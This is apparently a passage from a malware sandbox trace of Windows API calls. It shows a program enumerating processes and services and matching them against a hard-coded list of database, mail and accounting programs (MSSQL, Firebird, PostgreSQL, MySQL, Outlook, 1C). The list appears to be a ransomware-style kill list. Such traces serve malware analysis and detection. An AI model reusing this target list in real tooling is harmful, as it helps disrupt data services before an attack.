	[0254.487] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0254.488] lstrlenW (lpString="spoolsv.exe") returned 11
	[0254.488] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0254.488] lstrlenW (lpString="dllhost.exe") returned 11
	[0254.488] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0254.488] lstrlenW (lpString="taskhost.exe") returned 12
	[0254.488] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0254.488] lstrlenW (lpString="svchost.exe") returned 11
	[0254.488] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0254.489] lstrlenW (lpString="reader_sl.exe") returned 13
	[0254.489] Process32NextW (in: hSnapshot=0x328, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0254.489] CloseHandle (hObject=0x328) returned 1
	[0254.489] Sleep (dwMilliseconds=0x1f4) 
	[0255.514] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42809f0
	[0255.518] EnumServicesStatusExW (in: hSCManager=0x42809f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0255.519] GetLastError () returned 0xea
	[0255.519] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xacc) returned 0x41f5d68
	[0255.519] EnumServicesStatusExW (in: hSCManager=0x42809f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xacc, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0255.519] CloseServiceHandle (hSCObject=0x42809f0) returned 1
	[0255.519] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0255.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0255.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0255.519] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0255.519] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0255.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0255.519] lstrlenW (lpString="AudioSrv") returned 8
	[0255.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0255.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0255.519] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0255.519] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0255.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0255.519] lstrlenW (lpString="BFE") returned 3
	[0255.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0255.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0255.519] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0255.520] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0255.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0255.520] lstrlenW (lpString="CscService") returned 10
	[0255.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0255.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0255.520] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0255.520] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0255.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0255.520] lstrlenW (lpString="DcomLaunch") returned 10
	[0255.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0255.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0255.520] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0255.520] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0255.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0255.520] lstrlenW (lpString="Dhcp") returned 4
	[0255.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0255.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0255.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0255.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0255.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0255.520] lstrlenW (lpString="Dnscache") returned 8
	[0255.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0255.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0255.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0255.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0255.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0255.520] lstrlenW (lpString="eventlog") returned 8
	[0255.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0255.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0255.521] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0255.521] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0255.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0255.521] lstrlenW (lpString="EventSystem") returned 11
	[0255.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0255.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0255.521] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0255.521] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0255.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0255.521] lstrlenW (lpString="gpsvc") returned 5
	[0255.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0255.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0255.521] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0255.521] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0255.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0255.521] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0255.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0255.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0255.521] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0255.521] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0255.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0255.521] lstrlenW (lpString="lmhosts") returned 7
	[0255.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0255.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0255.521] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0255.521] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0255.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0255.521] lstrlenW (lpString="MMCSS") returned 5
	[0255.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0255.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0255.522] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0255.522] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0255.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0255.522] lstrlenW (lpString="MpsSvc") returned 6
	[0255.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0255.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0255.522] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0255.522] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0255.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0255.522] lstrlenW (lpString="nsi") returned 3
	[0255.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0255.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0255.522] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0255.522] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0255.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0255.522] lstrlenW (lpString="PlugPlay") returned 8
	[0255.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0255.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0255.522] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0255.522] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0255.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0255.522] lstrlenW (lpString="Power") returned 5
	[0255.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0255.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0255.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0255.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0255.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0255.522] lstrlenW (lpString="ProfSvc") returned 7
	[0255.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0255.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0255.523] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0255.523] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0255.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0255.523] lstrlenW (lpString="RpcEptMapper") returned 12
	[0255.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0255.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0255.523] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0255.523] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0255.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0255.523] lstrlenW (lpString="RpcSs") returned 5
	[0255.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0255.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0255.523] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0255.523] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0255.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0255.523] lstrlenW (lpString="SamSs") returned 5
	[0255.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0255.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0255.523] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0255.523] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0255.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0255.523] lstrlenW (lpString="Schedule") returned 8
	[0255.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0255.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0255.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0255.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0255.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0255.524] lstrlenW (lpString="SENS") returned 4
	[0255.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0255.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0255.524] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0255.524] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0255.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0255.524] lstrlenW (lpString="ShellHWDetection") returned 16
	[0255.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0255.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0255.524] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0255.524] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0255.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0255.524] lstrlenW (lpString="Spooler") returned 7
	[0255.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0255.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0255.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0255.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0255.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0255.524] lstrlenW (lpString="Themes") returned 6
	[0255.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0255.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0255.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0255.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0255.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0255.524] lstrlenW (lpString="UxSms") returned 5
	[0255.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0255.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0255.525] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0255.525] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0255.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0255.525] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0255.525] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358
	[0255.526] Process32FirstW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0255.526] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0255.526] lstrlenW (lpString="System") returned 6
	[0255.526] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0255.526] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0255.526] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0255.526] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0255.526] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0255.526] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0255.526] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0255.527] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0255.527] lstrlenW (lpString="smss.exe") returned 8
	[0255.527] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0255.527] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0255.527] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0255.527] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0255.527] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0255.527] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0255.527] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0255.527] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0255.528] lstrlenW (lpString="csrss.exe") returned 9
	[0255.528] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0255.528] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0255.528] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0255.528] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0255.528] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0255.528] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0255.528] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0255.528] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0255.528] lstrlenW (lpString="wininit.exe") returned 11
	[0255.528] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0255.528] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0255.528] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0255.528] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0255.528] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0255.528] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0255.528] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0255.528] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0255.529] lstrlenW (lpString="csrss.exe") returned 9
	[0255.529] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0255.529] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0255.529] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0255.529] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0255.529] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0255.529] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0255.529] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0255.529] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0255.529] lstrlenW (lpString="winlogon.exe") returned 12
	[0255.529] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0255.529] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0255.529] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0255.529] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0255.529] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0255.529] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0255.529] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0255.529] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0255.530] lstrlenW (lpString="services.exe") returned 12
	[0255.530] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0255.530] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0255.530] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0255.530] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0255.530] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0255.530] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0255.530] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0255.530] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0255.530] lstrlenW (lpString="lsass.exe") returned 9
	[0255.530] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0255.530] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0255.530] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0255.531] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0255.531] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0255.531] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0255.531] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0255.531] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0255.531] lstrlenW (lpString="lsm.exe") returned 7
	[0255.531] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0255.531] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0255.531] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0255.531] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0255.531] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0255.531] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0255.531] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0255.531] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0255.531] lstrlenW (lpString="svchost.exe") returned 11
	[0255.532] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0255.532] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0255.532] lstrlenW (lpString="svchost.exe") returned 11
